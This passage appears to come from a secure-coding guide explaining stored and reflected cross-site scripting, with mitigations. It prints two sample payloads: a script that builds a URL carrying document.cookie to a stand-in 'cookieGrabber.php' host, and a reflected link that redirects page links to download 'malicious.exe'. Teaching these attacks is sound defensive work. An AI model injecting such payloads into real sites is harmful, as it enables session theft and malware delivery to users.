Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) attacks are also a type of injection attack, in which malicious scripts are injected into trusted web sites. These attacks occur when an attacker uses a web application to send malicious code to a different end user, generally in the form of a browser-side script. Flaws that allow these attacks can occur anywhere that a web application unwisely uses input from a user within the output it generates without validating or encoding it.
Although cross-site scripting is a form of injection, it is unique in both scope and target and needs its own classification. Attacker could access and modify the structure, appearance, and behavior of browser content or simply redirect the user to a site that contains malicious content. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.
These XSS attacks fall mainly into two categories: Stored and reflected attacks
Stored XSS Attack, also known as a persistent attack, where an attacker sends malicious input that is later stored in the application’s database. The malicious input is then displayed as a normal part of the site’s content. When a user views or requests the stored content, the malicious code is executed.
For example, below is simple post from an attacker which could redirect an authenticated user cookie to attacker’s website. All an attacker has to do is to place the code in any posted input (i.e.: message boards, comments, or even one-one messages):
<SCRIPT type="text/javascript">
var adr = 'http://www.evilWebsite.com/cookieGrabber.php?
cookieInfo=' + escape(document.cookie);
</SCRIPT>
The above code will pass an escaped content of the cookie to cookieGrabber.php script in a “cookieInfo” variable. The attacker then can check the results of cookieGrabber.php script (This could very well write the information to a persistent store like a file or database) and hijack the user’s session.
Reflected XSS Attack, also known as a non-persistent attack, where an attacker gets the user to send malicious input to a particular URL.
For example, sending the user an email with a link to click. By clicking the link, the victim sends the malicious input to the web application which then uses that input to generate a response.
http://example.com/index.php?user=<script>window.onload =
function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>
This will cause the user, clicking on the link supplied by the attacker, to download and execute a file malicious.exe which could provide remote administration capabilities to the attacker.
Prevention Measures
- For all user inputs, use a whitelist validation approach as defined above in SQL Injection section.
- For all user inputs, use blacklist validation to filter or block any known specific set of untrusted code patterns
- Consider auto-sanitization libraries like OWASP’s Java HTML Sanitizer Project.
- Explicitly define character encoding and output mime types.
- Turn off HTTP TRACE support on all webservers. An attacker can steal cookie data via JavaScript even when document.cookie is disabled or not supported on the client utilizing the underlying asynchronous HTTP trace event triggered by the system to collect client cookie information from the server.